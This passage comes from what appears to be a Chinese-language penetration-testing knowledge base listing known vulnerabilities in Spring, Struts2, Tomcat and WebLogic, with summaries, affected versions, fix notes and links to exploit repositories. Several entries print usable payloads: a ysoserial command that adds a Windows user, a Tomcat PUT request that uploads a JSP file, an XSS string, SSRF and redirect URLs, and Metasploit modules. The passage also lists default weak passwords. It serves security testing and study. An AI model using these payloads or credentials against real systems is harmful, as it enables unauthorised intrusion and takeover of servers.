    - [CVE-2020-5398 Spring MVC/Spring WebFlux header导致的RFD攻击风险通告](https://www.anquanke.com/post/id/197418)

- POC | Payload | exp
    ```
    GET
    /?filename=sample.sh%22%3B&contents=%23!%2Fbin%2Fbash%0Awhoami%27%20--dump-header%20- HTTP/1.1
    Host: 192.168.248.129:8080
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:49.0) Gecko/20100101 Firefox/49.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    Connection: close
    Upgrade-Insecure-Requests: 1
    ```

**CVE-2020-5412 Spring Cloud Netflix Hystrix Dashboard SSRF**
- 文章
    - [CVE-2020-5412分析复现](https://zhzhdoai.github.io/2020/09/01/CVE-2020-5412%E5%88%86%E6%9E%90%E5%A4%8D%E7%8E%B0/)

- POC | Payload | exp
    ```
    /proxy.stream?origin=http://www.baidu.com
    ```

---

## Struts2

> 官网 : https://struts.apache.org/

Struts2 的漏洞参考 https://cwiki.apache.org/confluence/display/WW/Security+Bulletins

**指纹**
- `Struts`
- `.action`
- `.do`
- `.action!xxxx`
- `.c`

**工具**
- [Lucifer1993/struts-scan](https://github.com/Lucifer1993/struts-scan) - Python2 编写的 struts2 漏洞全版本检测和利用工具
- [HatBoy/Struts2-Scan](https://github.com/HatBoy/Struts2-Scan) - Python3 Struts2 全漏洞扫描利用工具
- [shack2/Struts2VulsTools](https://github.com/shack2/Struts2VulsTools) - Struts2 系列漏洞检查工具
- [x51/STS2G](https://github.com/x51/STS2G) - Golang 版 Struts2 漏洞扫描利用工具

**环境搭建**
- [wh1t3p1g/Struts2Environment](https://github.com/wh1t3p1g/Struts2Environment) - Struts2 历史版本的漏洞环境
- [sie504/Struts-S2-xxx](https://github.com/sie504/Struts-S2-xxx) - 整理收集Struts2漏洞环境
- [shengqi158/S2-055-PoC](https://github.com/shengqi158/S2-055-PoC) - S2-055的环境，基于rest-show-case改造

**文章**
- [Struts2 历史 RCE 漏洞回顾不完全系列](http://rickgray.me/2016/05/06/review-struts2-remote-command-execution-vulnerabilities/)

**S2-016 & CVE-2013-2251**
- https://cwiki.apache.org/confluence/display/WW/S2-016

- 简介

    DefaultActionMapper 类支持以"action:"、"redirect:"、"redirectAction:"作为导航或是重定向前缀，但是这些前缀后面同时可以跟 OGNL 表达式，由于 struts2 没有对这些前缀做过滤，导致利用 OGNL 表达式调用 java 静态方法执行任意系统命令

- 影响版本
    - Struts 2.0.0 ~ 2.3.15

- POC | Payload | exp
    - [OneSourceCat/s2-016-exp](https://github.com/OneSourceCat/s2-016-exp)

**S2-020 & CVE-2014-0094 & CNNVD-201403-191**
- https://cwiki.apache.org/confluence/display/WW/S2-020

- 简介

    Apache Struts 2.0.0-2.3.16 版本的默认上传机制是基于 Commons FileUpload 1.3 版本，其附加的 ParametersInterceptor 允许访问'class' 参数（该参数直接映射到 `getClass()` 方法），并允许控制 ClassLoader。在具体的 Web 容器部署环境下（如：Tomcat），攻击者利用 Web 容器下的 Java Class 对象及其属性参数（如：日志存储参数），可向服务器发起远程代码执行攻击，进而植入网站后门控制网站服务器主机。

- 影响版本
    - Struts 2.0.0 ~ 2.3.16.1

- 文章
    - [Struts2 S2-020在Tomcat 8下的命令执行分析](https://www.freebuf.com/articles/web/31039.html)

- POC | Payload | exp
    - https://github.com/coffeehb/Some-PoC-oR-ExP/blob/master/Struts2/S2-020_POC.py

**S2-045 & CVE-2017-5638**
- https://cwiki.apache.org/confluence/display/WW/S2-045

- 简介

    恶意用户可在上传文件时通过修改 HTTP 请求头中的 Content-Type 值来触发该漏洞进而执行系统命令.

- 影响版本
    - Struts 2.3.5 ~ 2.3.31
    - Struts 2.5 ~ 2.5.10

- POC | Payload | exp
    - [tengzhangchao/Struts2_045-Poc](https://github.com/tengzhangchao/Struts2_045-Poc)
    - [iBearcat/S2-045](https://github.com/iBearcat/S2-045)

**S2-046 & CVE-2017-5638**
- https://cwiki.apache.org/confluence/display/WW/S2-046

- 简介

    该漏洞是由于上传功能的异常处理函数没有正确处理用户输入的错误信息,导致远程攻击者可通过修改 HTTP 请求头中的 Content-Type 值,构造发送恶意的数据包,利用该漏洞进而在受影响服务器上执行任意系统命令.

- 影响版本
    - Struts 2.3.5 ~ 2.3.31
    - Struts 2.5 ~ 2.5.10

- 修复方案
    1. 官方已经发布版本更新,尽快升级到不受影响的版本(Struts 2.3.32 或 Struts 2.5.10.1),建议在升级前做好数据备份.
    2. 临时修复方案
    在用户不便进行升级的情况下,作为临时的解决方案,用户可以进行以下操作来规避风险:在 WEB-INF/classes 目录下的 struts.xml 中的 struts 标签下添加
    `<constant name="struts.custom.i18n.resources" value="global" />`
    在 WEB-INF/classes/ 目录下添加 global.properties,文件内容如下:
    `struts.messages.upload.error.InvalidContentTypeException=1`

- POC | Payload | exp
    - [mazen160/struts-pwn](https://github.com/mazen160/struts-pwn)

**S2-048 & CVE-2017-9791**
- https://cwiki.apache.org/confluence/display/WW/S2-048

- 简介

    攻击者可以构造恶意的字段值通过 Struts2 的 struts2-struts1-plugin 插件，远程执行代码。

- 影响版本
    - Struts 2.1.x ~ 2.3.x

- POC | Payload | exp
    - [dragoneeg/Struts2-048](https://github.com/dragoneeg/Struts2-048)

**S2-052 & CVE-2017-9805**
- https://cwiki.apache.org/confluence/display/WW/S2-052

- 简介

    启用 Struts REST 插件并使用 XStream 组件对 XML 进行反序列操作时，未对数据内容进行有效验证，可被攻击者进行远程代码执行攻击(RCE)。

- 影响版本
    - Struts 2.1.6 ~ 2.3.33
    - Struts 2.5 ~ 2.5.12

- POC | Payload | exp
    - [mazen160/struts-pwn_CVE-2017-9805](https://github.com/mazen160/struts-pwn_CVE-2017-9805)

**S2-053 & CVE-2017-12611**
- https://cwiki.apache.org/confluence/display/WW/S2-053

- 简介

    当开发者在 Freemarker 标签中使用如下代码时 `<@s.hidden name=”redirectUri” value=redirectUri /><@s.hidden name=”redirectUri” value=”${redirectUri}” />` Freemarker 会将值当做表达式进行执行，最后导致代码执行。

- 影响版本
    - Struts 2.0.0 ~ 2.3.33
    - Struts 2.5 ~ 2.5.10.1

- POC | Payload | exp
    - [brianwrf/S2-053-CVE-2017-12611](https://github.com/brianwrf/S2-053-CVE-2017-12611)

**S2-055 & CVE-2017-7525**
- https://cwiki.apache.org/confluence/display/WW/S2-055

- 简介

    2017年12月1日，Apache Struts 发布最新的安全公告，Apache Struts 2.5.x REST 插件存在远程代码执行的中危漏洞，漏洞编号与 CVE-2017-7525 相关。漏洞的成因是由于使用的 Jackson 版本过低在进行 JSON 反序列化的时候没有任何类型过滤导致远程代码执行。。

- 影响版本
    - Struts 2.5 ~ 2.5.14

- POC | Payload | exp
    - [iBearcat/S2-055](https://github.com/iBearcat/S2-055)

**S2-056 & CVE-2018-1327**
- https://cwiki.apache.org/confluence/display/WW/S2-056

- 简介

    S2-056 漏洞发生于 Apache Struts 2的 REST 插件，当使用 XStream 组件对 XML 格式的数据包进行反序列化操作，且未对数据内容进行有效验证时，攻击者可通过提交恶意 XML 数据对应用进行远程 DoS 攻击。

- 影响版本
    - Struts 2.1.1 ~ 2.5.14.1

- POC | Payload | exp
    - [ iBearcat/S2-056-XStream](https://github.com/iBearcat/S2-056-XStream)

**S2-057 & CVE-2018-11776**
- https://cwiki.apache.org/confluence/display/WW/S2-057

- 简介

    该漏洞由 Semmle Security Research team 的安全研究员 Man YueMo 发现.该漏洞是由于在 Struts2 开发框架中使用 namespace 功能定义 XML 配置时,namespace 值未被设置且在上层动作配置(Action Configuration)中未设置或用通配符 namespace,可能导致远程代码执行.

- 影响版本
    - Struts 2.0.4 ~ 2.3.34
    - Struts 2.5.0 ~ 2.5.16

- POC | Payload | exp
    - [Ivan1ee/struts2-057-exp](https://github.com/Ivan1ee/struts2-057-exp)
    - [mazen160/struts-pwn_CVE-2018-11776](https://github.com/mazen160/struts-pwn_CVE-2018-11776)

**S2-059 & CVE-2019-0230**
- https://cwiki.apache.org/confluence/display/WW/S2-059

- 简介

    Apache Struts 框架, 会对某些特定的标签的属性值，比如 id 属性进行二次解析，所以攻击者可以传递将在呈现标签属性时再次解析的 OGNL 表达式，造成 OGNL 表达式注入。从而可能造成远程执行代码。

- 影响版本

    - Struts 2.0.0 ~ 2.5.20

- POC | Payload | exp
    - [Struts2 S2-059 远程代码执行漏洞(CVE-2019-0230)](https://github.com/vulhub/vulhub/blob/master/struts2/s2-059/README.zh-cn.md)

**S2-061 & CVE-2020-17530**
- https://cwiki.apache.org/confluence/display/WW/S2-061

- 简介

    S2-061 是对 S2-059 的绕过，Struts2 官方对 S2-059 的修复方式是加强 OGNL 表达式沙盒，而 S2-061 绕过了该沙盒。该漏洞影响版本范围是 Struts 2.0.0 到 Struts 2.5.25。

- 相关文章
    - [Struts2 S2-061漏洞分析(CVE-2020-17530)](https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g)
    - [Struts2 s2-061 Poc分析](https://mp.weixin.qq.com/s/skV6BsARvie33vV2R6SZKw)

- POC | Payload | exp
    - [Struts2 S2-061 远程命令执行漏洞（CVE-2020-17530）](https://github.com/vulhub/vulhub/blob/master/struts2/s2-061/README.zh-cn.md)

---

## Tomcat

> 官网 : https://tomcat.apache.org/

Tomcat 默认端口为 8080,也可能被改为其他端口,后台管理路径为 `/manager/html`,后台默认弱口令 admin/admin、tomcat/tomcat 等,若果配置不当,可通过"Tomcat Manager"连接部署 war 包的方式获取 webshell.

**搭建教程**
- [Tomcat 搭建](../../../Integrated/Linux/Power-Linux.md#Tomcat)

**文章**
- [Tomcat漏洞详解](http://www.mottoin.com/detail/389.html)
- [渗透测试-Tomcat常见漏洞总结](https://mp.weixin.qq.com/s/ZXoCJ9GhMaTvVFeYn8vMUA)
- [Tomcat URL解析差异性导致的安全问题](https://xz.aliyun.com/t/7544)
- [不安全的中间件-Tomcat](https://mp.weixin.qq.com/s/MmLhJ2EbvmuJx2YTSeeTyQ)

**Tips**
- tomcat5 默认有两个角色：tomcat 和 role1。其中账号 both、tomcat、role1 的默认密码都是 tomcat。不过不具备部署应用的权限，默认需要 manager 权限才能够直接部署 war 包.
- tomcat6 默认没有配置任何用户以及角色，没办法用默认账号登录.
- tomcat7 与6类似
- tomcat8 其实从6开始，tomcat 就将默认的用户去掉了
- 控制台路径
    - `/manager/status`
    - `/manager/html`
    - `/host-manager/`
- `jar -cf job.war ./job.jsp` 生成 war 包

**爆破 Manager APP**

Manager 管理平台我们都很熟悉，也是最常见的，包含多个管理模块，开启后方便开发及运维人员对 tomcat 项目发布进行管理。Manager 管理平台默认安装后是没有设置登录口令的，需要在 tomcat-user.xml 文件中进行配置，与上文的 admin 管理平台相同。

在登录 manager 后台时，tomcat 使用的是 Basic 认证方式，在请求的数据包中包含一个 Authorization 字段，该字段的值为账号密码的 base64 编码，口令形式为 username:password

![](../../../../assets/img/Security/RedTeam/Web安全/BS-Exploits/2.png)

- http://user:password@xxx.xxx.xxx.xxx:xxx/manager/html
- MSF Module
    ```
    use auxiliary/scanner/http/tomcat_mgr_login
    ```

Tomcat manager 包含 4 个不同的角色：
- manager-gui：允许访问 html 页面接口 (即 URL 路径为 / manager/html/*)
- manager-script：允许访问纯文本接口 (即 URL 路径为 / manager/text/*)
- manager-jmx：允许访问 JMX 代理接口 (即 URL 路径为 / manager/jmxproxy/*)
- manager-status：允许访问 Tomcat 只读状态页面 (即 URL 路径为 / manager/status/*)
其中 manager-gui、manager-script、manager-jmx 三个角色均具备 manager-status 角色的权限，即这三种角色权限无需再额外添加 manager-status 权限。实际使用中只需配置 manager-gui 角色通过 html 页面的形式访问管理平台。

**manager-jmx**

Tomcat 使用 JMX 管理方式，在 Tomcat 的自带应用 manager 就是使用了 JMX 方式来管理 Tomcat，以此完成 Web 应用的动态部署、启动、停止。在 tomcat 的帮助文档中，提供了下面几种方式发送请求获取相应的信息：

- query 命令：http://[ip]:[port]/manager/jmxproxy/?qry=
- get 命令：http:// [ip]:[port]/manager/jmxproxy/?get=
- set 命令：http:// [ip]:[port]/manager/jmxproxy/?set=
- invoke 命令：http:// [ip]:[port]/manager/jmxproxy/?invoke=
访问上面的地址，我们就可以看到不同的信息，通过向不同的参数传递特定的参数，也可以获取到一些敏感信息。不加参数时查询到的是所有的 MBeans 的内容，加参数之后就可以查看到具体的 MBeans 的内容。

例如： http://[ip]:[port]/manager/jmxproxy/?qry=\*%3atype=User%2c\*

该查询可以看到设置的 tomcat-user.xml 中配置的账号密码，甚至还可以通过 set 命令修改账号密码，来设置一个后门账号。

**样例目录 session 操纵漏洞**

Tomcat 在安装部署后，在 webapps 默认存在一个 examples 目录，该目录正如其文件名一样，提供一些示例应用让使用者来了解 Tomcat 的特性及功能。这些样例在业务上线后并没有什么用处，建议部署 tomcat 后，删除其中的样例文件（ROOT, balancer,jsp-examples, servlet-examples, tomcat-docs, webdav），避免信息泄露和其他潜在的安全风险。

这些样例中的 session 样例（/examples/servlets/servlet/SessionExample）允许用户对 session 进行操纵，因为 session 是全局通用的，所以用户可以通过操纵 session 获取管理员权限，存在一定的安全风险，不过这种基本上只有在一些比较老的不安全系统中才有可能出现，利用条件比较苛刻。

- 文章
    - [Apache Tomcat样例目录session操纵漏洞](https://blog.51cto.com/chenjc/1434858)

**CVE-2016-1240**
- 简介

    10月1日,Tomcat 爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的 Tomcat 用户获得系统的 root 权限。

- 影响版本
    - tomcat:6.0:*
    - tomcat:7.0:*
    - tomcat:8.0:*

- POC | Payload | exp
    - [Apache Tomcat 8/7/6 (Debian-Based Distros) - Local Privilege Escalation](https://www.exploit-db.com/exploits/40450/)

**CVE-2016-8735**
- 简介

    Oracle 修复了 JmxRemoteLifecycleListener 反序列化漏洞(CVE-2016-3427)。 Tomcat 也使用了 JmxRemoteLifecycleListener 这个监听器,但是 Tomcat 并没有及时升级，存在这个远程代码执行漏洞。

- 漏洞利用条件

    外部需要开启 JmxRemoteLifecycleListener 监听的 10001 和 10002 端口来实现远程代码执行。

- 影响版本
    - Tomcat 9.0.0.M1 ~ 9.0.0.M11
    - Tomcat 8.5.0 ~ 8.5.6
    - Tomcat 8.0.0.RC1 ~ 8.0.38
    - Tomcat 7.0.0 ~ 7.0.72
    - Tomcat 6.0.0 ~ 6.0.47

- 文章
    - [复现tomcat远程代码执行漏洞（CVE-2016-8735） | 回忆飘如雪](http://gv7.me/articles/2018/CVE-2016-8735/)
    - [CVE-2016-8735环境搭建到POC编写](https://blog.spoock.com/2019/09/20/cve-2016-8735/)

- POC | Payload | exp
    ```
    java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit 192.168.48.211 10001 Groovy1 "C:\Windows\System32\net.exe user  test 12345 /add "
    ```

**CVE-2017-12615/12616**
- 简介

    2017年9月19日,Apache Tomcat 官方确认并修复了两个高危漏洞,漏洞 CVE 编号:CVE-2017-12615 和 CVE-2017-12616,该漏洞受影响版本为7.0.0-7.0.80之间,官方评级为高危,在一定条件下,攻击者可以利用这两个漏洞,获取用户服务器上 JSP 文件的源代码,或是通过精心构造的攻击请求,向用户服务器上传恶意 JSP 文件,通过上传的 JSP 文件 ,可在用户服务器上执行任意代码,从而导致数据泄露或获取服务器权限,存在高安全风险.

    - CVE-2017-12615:远程代码执行漏洞

        当 Tomcat 运行在 Windows 操作系统时,且启用了 HTTP PUT 请求方法 (例如,将 readonly 初始化参数由默认值设置为 false) ,攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行.导致服务器上的数据泄露或获取服务器权限.

    - CVE-2017-12616:信息泄露漏洞

        当 Tomcat 中启用了 VirtualDirContext 时,攻击者将能通过发送精心构造的恶意请求,绕过设置的相关安全限制,或是获取到由 VirtualDirContext 提供支持资源服务的 JSP 源代码,从而造成代码信息泄露.

- 漏洞利用条件

    - CVE-2017-12615 漏洞利用需要在 Windows 环境,且需要将 readonly 初始化参数由默认值设置为 false,经过实际测试,Tomcat 7.x 版本内 web.xml 配置文件内默认配置无 readonly 参数,需要手工添加,默认配置条件下不受此漏洞影响.

    - CVE-2017-12616 漏洞需要在 server.xml 文件配置 VirtualDirContext 参数,经过实际测试,Tomcat 7.x 版本内默认配置无 VirtualDirContext 参数,需要手工添加,默认配置条件下不受此漏洞影响.

- 影响版本

    - CVE-2017-12615 影响版本 : Apache Tomcat 7.0.0 ~ 7.0.79 (windows 环境)
    - CVE-2017-12616 影响版本 : Apache Tomcat 7.0.0 ~ 7.0.80

- 文章
    - [CVE-2017-12615/CVE-2017-12616:Tomcat信息泄漏和远程代码执行漏洞分析报告](https://paper.seebug.org/399/)

- POC | Payload | exp

    - [iBearcat/CVE-2017-12615](https://github.com/iBearcat/CVE-2017-12615)
    - [breaktoprotect/CVE-2017-12615](https://github.com/breaktoprotect/CVE-2017-12615)

    ```
    PUT /1.jsp/ HTTP/1.1
    Host: your-ip:8080
    Accept: */*
    Accept-Language: en
    User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
    Connection: close
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 5

    <% out.write("<html><body><h3>[+] JSP upload successfully.</h3></body></html>"); %>
    ```

**CVE-2017-12617**
- 简介

    运行启用了 HTTP PUT 的 Apache Tomcat 特定版本时(例如，通过将默认 servlet 的只读初始化参数设置为 false)可以通过特制请求将 JSP 文件上载到服务器。然后可以请求此 JSP，并且服务器将执行其中包含的所有代码。

- 影响版本
    - Apache Tomcat 7.0.0 ~ 7.0.81
    - Apache Tomcat 8.0.0 ~ 8.0.17

- 文章
    - [CVE-2017-12617-Tomcat远程代码执行漏洞复现测试](https://www.freebuf.com/vuls/150203.html)

- POC | Payload | exp
    - [cyberheartmi9/CVE-2017-12617](https://github.com/cyberheartmi9/CVE-2017-12617)

- MSF Module
    ```
    use exploit/multi/http/tomcat_jsp_upload_bypass
    ```

**CVE-2018-11784 Tomcat URL跳转漏洞**
- 简介

    当 Apache Tomcat 版本 9.0.0.M1 到 9.0.11、8.5.0 到 8.5.33 和 7.0.23 到 7.0.90 中的默认 servlet 返回到一个目录的重定向（例如，当用户请求'/foo'时重定向到'/foo/’），一个特制的 URL 可用于导致重定向生成到攻击者选择的任何 URI。

- 影响版本
    - Apache Tomcat 9.0.0.M1 ~ 9.0.11
    - Apache Tomcat 8.5.0 ~ 8.5.33
    - Apache Tomcat 7.0.23 ~ 7.0.90

- 相关文章
    - [Tomcat URL跳转漏洞【CVE-2018-11784】](https://mp.weixin.qq.com/s/9SFInsxPkuNcaONx8CFSaQ)

- POC | Payload | exp
    ```
    http://[ip:port]//[baidu.com]/..;/[可访问目录/可访问目录]
    ```
    默认存在的 docs 目录也可以被利用，例
    ```
    http://[ip:port]//[baidu.com]/..;/docs/images
    ```

**CVE-2019-0232**
- 简介

    该漏洞是由于 Tomcat CGI 将命令行参数传递给 Windows 程序的方式存在错误，使得 CGIServlet 被命令注入影响。

    该漏洞只影响 Windows 平台，要求启用了 CGIServlet 和 enableCmdLineArguments 参数。但是 CGIServlet 和 enableCmdLineArguments 参数默认情况下都不启用。

- 影响版本
    - Apache Tomcat 7.0.0 ~ 7.0.93
    - Apache Tomcat 8.0.0 ~ 8.5.39
    - Apache Tomcat 9.0.1 ~ 9.0.17

- 文章
    - [CVE-2019-0232:Apache Tomcat RCE漏洞分析](https://xz.aliyun.com/t/4875)
    - [复现CVE-2019-0232过程中遇到的坑 Apache Tomcat高危远程代码执行漏洞](http://www.nmd5.com/?p=375)

- POC | Payload | exp
    - [pyn3rd/CVE-2019-0232](https://github.com/pyn3rd/CVE-2019-0232)
    - [jas502n/CVE-2019-0232](https://github.com/jas502n/CVE-2019-0232)

**CVE-2020-1938 && CNVD-2020-10487 Apache Tomcat Ghostcat 漏洞**
- 简介

    Apache Tomcat 会开启 AJP 连接器,方便与其他 Web 服务器通过 AJP 协议进行交互。由于 Tomcat 本身也内含了 HTTP 服务器，因此也可以视作单独的 Web 服务器。

    但 Apache Tomcat在 AJP 协议的实现上存在漏洞,导致攻击者可以通过发送恶意的 AJP 请求,可以读取或者包含 Web 应用根目录下的任意文件,如果配合文件上传任意格式文件，将可能导致任意代码执行(RCE).该漏洞利用 AJP 服务端口实现攻击,未开启 AJP 服务对外不受漏洞影响（tomcat 默认将 AJP 服务开启并绑定至 0.0.0.0/0）。

    此漏洞为文件包含漏洞，攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件，如：webapp 配置文件、源代码等。

- 影响版本
    - Apache Tomcat = 6
    - 7 <= Apache Tomcat < 7.0.100
    - 8 <= Apache Tomcat < 8.5.51
    - 9 <= Apache Tomcat < 9.0.31

- 文章
    - [【WEB安全】Tomcat-Ajp协议漏洞分析](https://mp.weixin.qq.com/s/GzqLkwlIQi_i3AVIXn59FQ)
    - [如何更加精准地检测AJP协议文件包含漏洞(CVE-2020-1938)](http://gv7.me/articles/2020/how-to-detect-tomcat-ajp-lfi-more-accurately/)
    - [不调试源码重现 Ghostcat 漏洞 (CVE-2020-1938)](https://paper.seebug.org/1147/)
    - [CVE-2020-1938:Tomcat AJP文件包含漏洞分析](https://yinwc.github.io/2020/03/01/CVE-2020-1938/#tomcat-ajp-connector%e4%bb%a5%e5%8f%8aajp%e5%8d%8f%e8%ae%ae)

- POC | Payload | exp
    - [0nise/CVE-2020-1938](https://github.com/0nise/CVE-2020-1938)
    - [YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi](https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi)

- 修复建议
    - 请尽快更新 Tomcat 到安全版本。
    - 临时禁用 AJP 协议端口,打开 Tomcat 配置文件 `<CATALINA_BASE>/conf/service.xml`,注释掉如下行：
        ```xml
        <Connector port="8009" protocol="AJP/1.3" redirectPort="8443" />
        ```
        修改完后，重启 tomcat 即可。
    - 除以上措施外，也可采用防火墙等方法阻止不可信任的来源访问 Tomcat AJP Connector 端口。

**tomcat cluster sync-session**
- 简介

    tomcat 使用了自带 session 同步功能时，不安全的配置（没有使用 EncryptInterceptor）导致存在的反序列化漏洞，通过精心构造的数据包，可以对使用了 tomcat 自带 session 同步功能的服务器进行攻击。

- POC | Payload | exp
    - [threedr3am/tomcat-cluster-session-sync-exp](https://github.com/threedr3am/tomcat-cluster-session-sync-exp)

**CVE-2020-9484 Session 反序列化代码执行漏洞**
- 简介

    当使用 tomcat 时，如果使用了 tomcat 提供的 session 持久化功能，如果存在文件上传功能，恶意请求者通过一个流程，将能发起一个恶意请求造成服务端远程命令执行。

- 文章
    - [CVE-2020-9484 Tomcat RCE漏洞分析](https://mp.weixin.qq.com/s/OGdHSwqydiDqe-BUkheTGg)

- POC | Payload | exp
    - [IdealDreamLast/CVE-2020-9484](https://github.com/IdealDreamLast/CVE-2020-9484)
    - [masahiro331/CVE-2020-9484](https://github.com/masahiro331/CVE-2020-9484)

---

## Weblogic

> 官网 : https://www.oracle.com/middleware/weblogic/

Oracle Fusion Middleware（Oracle 融合中间件）是美国甲骨文（Oracle）公司的一套面向企业和云环境的业务创新平台。该平台提供了中间件、软件集合等功能。WebLogic Server 是其中的一个适用于云环境和传统环境的应用服务器组件。

oracle 版本号是真的乱,Weblogic 数据库版本号请看维基百科 [Oracle WebLogic Server](https://en.wikipedia.org/wiki/Oracle_WebLogic_Server)

**Tips**
- 老版本 weblogic 有一些常见的弱口令,比如 weblogic、system、portaladmin 和 guest,Oracle@123 等,用户名密码交叉使用.

**工具**
- [0xn0ne/weblogicScanner](https://github.com/0xn0ne/weblogicScanner) - weblogic 漏洞扫描工具
- [dr0op/WeblogicScan](https://github.com/dr0op/WeblogicScan) - 增强版WeblogicScan、检测结果更精确、插件化、添加CVE-2019-2618，CVE-2019-2729检测，Python3支持
- [rabbitmask/WeblogicScan](https://github.com/rabbitmask/WeblogicScan) - Weblogic 一键漏洞检测工具
- [rabbitmask/WeblogicScanLot](https://github.com/rabbitmask/WeblogicScanLot) - Weblogic 漏洞批量检测工具
- [TideSec/Decrypt_Weblogic_Password](https://github.com/TideSec/Decrypt_Weblogic_Password) - 整理了7种解密 weblogic 的方法及响应工具
- [21superman/weblogic_exploit](https://github.com/21superman/weblogic_exploit) - weblogic漏洞利用工具

**环境搭建**
- [QAX-A-Team/WeblogicEnvironment](https://github.com/QAX-A-Team/WeblogicEnvironment) - Weblogic 环境搭建工具

**文章**
- [利用Weblogic进行入侵的一些总结](http://drops.xmd5.com/static/drops/tips-8321.html)
- [Weblogic JRMP反序列化漏洞回顾](https://xz.aliyun.com/t/2479)
- [Oracle WebLogic RCE反序列化漏洞分析](https://www.anquanke.com/post/id/162390)
- [[漏洞预警]WebLogic T3 反序列化绕过漏洞 & 附检测POC](https://www.secfree.com/a/957.html)
- [Weblogic 常见漏洞分析](https://hellohxk.com/blog/weblogic/)

**CVE-2009-1975 xss 漏洞**
- 简介

    BEA Product Suite 10.3 中 WebLogic Server 组件中的未指定漏洞使远程攻击者可以影响与 WLS 控制台程序包相关的机密性，完整性和可用性。

- 影响版本
    - weblogic_server 10.3

- POC | Payload | exp
    - `http://www.example.com:7011/consolehelp/console-help.portal?_nfpb=true&_pageLabel=ConsoleHelpSearchPage&searchQuery="><script>alert('DSECRG')</script> `
    - [Oracle WebLogic Server 10.3 - 'console-help.portal' Cross-Site Scripting](https://www.exploit-db.com/exploits/33079)

**CVE-2014-4210 SSRF**
- 文章
    - [weblogic SSRF漏洞(CVE-2014-4210)检测利用](https://blog.csdn.net/qq_29647709/article/details/84937101)

- POC | Payload | exp
    - `http://127.0.0.1:7001/uddiexplorer/SearchPublicRegistries.jsp?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7000`

**CVE-2017-3248**
- 文章
    - [WebLogic反序列化漏洞重现江湖，CVE-2017-3248成功绕过之前的官方修复](https://paper.seebug.org/333/)

**CVE-2017-10271 XMLDecoder 反序列化漏洞**
- 简介

    Weblogic 的 WLS Security 组件对外提供 webservice 服务，其中使用了 XMLDecoder 来解析用户传入的 XML 数据，在解析的过程中出现反序列化漏洞，导致可执行任意命令。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.1.0 ~ 12.2.1.2.0

- 文章
    - [WebLogic XMLDecoder反序列化漏洞复现](https://mochazz.github.io/2017/12/25/weblogic_xmldecode/)
    - [blog-hugo/content/blog/Weblogic-0day.md](https://github.com/kylingit/blog-hugo/blob/master/content/blog/Weblogic-0day.md)

- POC | Payload | exp
    - `<目标IP:端口>/wls-wsat/CoordinatorPortType11`
    - [1337g/CVE-2017-10271](https://github.com/1337g/CVE-2017-10271)

**CVE-2018-2628 反序列化漏洞**
- 简介

    2018年4月18日，Oracle 官方发布了4月份的安全补丁更新 CPU（Critical Patch Update），更新中修复了一个高危的 WebLogic 反序列化漏洞 CVE-2018-2628。攻击者可以在未授权的情况下通过 T3 协议对存在漏洞的 WebLogic 组件进行远程攻击，并可获取目标系统所有权限。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.2.0 ~ 12.2.1.3

- 文章
    - [CVE-2018-2628 简单复现与分析 | xxlegend](http://xxlegend.com/2018/04/18/CVE-2018-2628%20%E7%AE%80%E5%8D%95%E5%A4%8D%E7%8E%B0%E5%92%8C%E5%88%86%E6%9E%90/)

- POC | Payload | exp
    - [shengqi158/CVE-2018-2628](https://github.com/shengqi158/CVE-2018-2628)

**CVE-2018-2893 WebLogic 反序列化漏洞**
- 简介

    Oracle 官方在2018年7月发布了关键补丁更新，其中包含了 Oracle WebLogic Server 的一个高危的 WebLogic 反序列化漏洞，通过该漏洞，攻击者可以在未授权的情况下远程执行代码。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.2.0 ~ 12.2.1.3

- 文章
    - [天融信关于CVE-2018-2893 WebLogic反序列化漏洞分析](https://www.freebuf.com/column/178103.html)

- POC | Payload | exp
    - [pyn3rd/CVE-2018-2893](https://github.com/pyn3rd/CVE-2018-2893)

**CVE-2018-2894 未授权访问致任意文件上传/RCE 漏洞**
- 简介

    Oracle Fusion Middleware 中的 Oracle WebLogic Server 组件的 WLS - Web Services 子组件存在安全漏洞。攻击者可利用该漏洞控制 Oracle WebLogic Server，影响数据的保密性、可用性和完整性。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.2.0 ~ 12.2.1.3

- 文章
    - [Weblogic CVE-2018-2894 漏洞复现](https://blog.csdn.net/qq_23936389/article/details/81256015)

- POC | Payload | exp
    - [LandGrey/CVE-2018-2894](https://github.com/LandGrey/CVE-2018-2894)
    - [PayloadsAllTheThings/CVE Exploits/WebLogic CVE-2018-2894.py ](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/CVE%20Exploits/WebLogic%20CVE-2018-2894.py)

**CVE-2018-3191**
- 简介

    Oracle Fusion Middleware 中的 WebLogic Server 组件 10.3.6.0 版本、12.1.3.0 版本和 12.2.1.3 版本的 WLS Core Components 子组件存在安全漏洞。攻击者可利用该漏洞控制组件，影响数据的保密性、完整性和可用性。

- 影响版本
    - weblogic_server 10.3.6.0.0
    - weblogic_server 12.1.3.0.0
    - weblogic_server 12.2.1.3.0

- 文章
    - [从流量侧浅谈WebLogic远程代码执行漏洞(CVE-2018-3191)](https://www.jianshu.com/p/f73b162c4649)

- POC | Payload | exp
